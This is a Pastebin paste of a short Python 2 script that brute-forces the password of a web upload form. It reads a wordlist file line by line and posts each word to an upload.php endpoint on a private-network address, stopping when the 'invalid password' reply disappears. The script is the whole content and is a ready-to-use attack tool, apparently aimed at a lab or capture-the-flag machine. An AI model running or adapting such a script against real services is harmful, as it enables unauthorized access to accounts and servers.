Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- fd = open("/root/Desktop/creadpag.txt")
- i = 0
- while True:
- line = fd.readline()
- if line == '':
- break
- word = line.strip()
- if i == 1000:
- print "Testing", word
- i = 0
- i = i + 1
- r = requests.post("http://192.168.1.39/dev/upload.php",
- data={'password':word},
- files={'upload_file':('test','a')})
- if "you have supplied an invalid password" in r.content:
- continue
- else:
- print "Cas particulier avec", word
- print r.content
- break
- fd.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement